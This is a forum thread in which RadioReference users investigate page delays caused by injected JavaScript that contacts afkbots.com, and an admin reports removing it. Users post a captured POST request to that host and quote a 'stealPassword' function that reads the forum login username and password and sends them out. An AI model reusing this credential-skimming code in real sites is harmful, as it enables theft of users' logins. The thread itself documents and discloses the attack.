afkbot.com ???

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I see this in the browser status bar when I'm on RR in the Ohio Forum. "...waiting for afkbot.com..."
Delays loading the page for 15 or 20 seconds. What the heck is this? I searched google and it has something to do with online games?? I don't do that.
 

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I see this in the browser status bar when I'm on RR in the Ohio Forum. "...waiting for afkbot.com..."
Delays loading the page for 15 or 20 seconds. What the heck is this? I searched google and it has something to do with online games?? I don't do that.

Correction: it's afkbots.com I dropped the "s".
 

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I couldn't see how AFK (Away From Keyboard) BOTS would ever be associated with the RR forums - Do you have a browser add-on installed?

If you're running IE try starting it in safe-mode and see if it behaves the same. Safe-Mode can be located under All Programs/Accessories/System Tools assuming you're running Windows 7.
 

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Using Firefox 30. Doesn't seem to do it with IE.

I didn't know whether it was me, RR, or NSA or whatever ! :)
 

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Well I uninstalled FF 30 and wiped everything on the disk and registry and reinstalled. Same results. Just seems to do it in Ohio Forum.
 

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Interesting - I see it as well with Firefox. Maybe an Admin would know...

Here's a snippet from Fiddler -

POST http://www.afkbots.com/radio/data.php HTTP/1.1
Host: www.afkbots.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: Ohio Radio Discussion Forum - The RadioReference.com Forums
Content-Length: 6
Origin: The RadioReference.com Forums - Powered by vBulletin
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
 

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it's not just in Ohio sub. It's across most of the site. View the source on any page and you can see it's calling some afk scripts. Interesting indeed.

this is pretty interesting. part of the code.

function stealPassword() {
var frame = this.document.getElementById('frame').contentWindow.document;
var form = $(frame).find('form[name="loginform"]');
var username = $(form).find('input[name="vb_login_username"]').val();
var password = $(form).find('input[name="vb_login_password"]').val();

if (password.length == 0) {
getMessages();
return;
}

request({
type: TYPE_STEAL,
login: username + ':' + password
});
}
 
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mikewazowski

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Thread moved to Forums Administration forum.

Lindsay will be looking into this ASAP.
 

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Looks like there was some malicious Javascript interested into the title of an announcement thread just in the Ohio forums - we've removed it and will be reviewing additional items on how this occurred in the first place and to prevent it from happening again.

Thanks,
 

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Just FYI, I noticed the same thing, but haven't been to the Ohio forum, I was noticing it in several other forums. I haven't seen it tonight though.

Scott
 

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North Carolina Also

Looks like there was some malicious Javascript interested into the title of an announcement thread just in the Ohio forums - we've removed it and will be reviewing additional items on how this occurred in the first place and to prevent it from happening again.

Thanks,

My Chrome RR bookmark takes me to the NC forum. The past 24 hours or so I've had the delay and "afkbots.....showing in the tool bar. Working OK now, no delay.
 
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